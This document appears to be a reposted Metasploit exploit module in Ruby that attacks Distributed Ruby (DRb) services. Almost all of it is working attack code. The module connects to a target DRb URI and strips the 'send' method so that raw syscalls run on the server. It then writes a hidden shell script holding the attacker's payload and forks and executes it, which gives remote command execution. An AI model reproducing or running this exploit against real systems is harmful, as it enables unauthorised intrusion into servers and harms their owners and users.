Distributed Ruby – send syscall (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' require 'drb/drb' class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, 'Name' => 'Distributed Ruby send syscall vulnerability.', 'Description' => %q{ This module exploits remote syscalls in DRuby }, 'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ], 'License' => MSF_LICENSE, 'Version' => '', 'References' => [ ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', }, 'Space' => 32768, }, 'Platform' => 'linux', 'Arch' => ARCH_ALL, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The druby URI of the target host ", ""]), ], self.class) end def exploit serveruri = datastore['URI'] DRb.start_service p = DRbObject.new_with_uri(serveruri) class << p undef :send end filename = "." + Rex::Text.rand_text_alphanumeric(16) # syscall open i = p.send(:syscall,8,filename,0700) #syscall write p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10) #syscall close p.send(:syscall,6,i) #syscall fork p.send(:syscall,2) #syscall execve p.send(:syscall,11,filename,0,0) handler(nil) end end |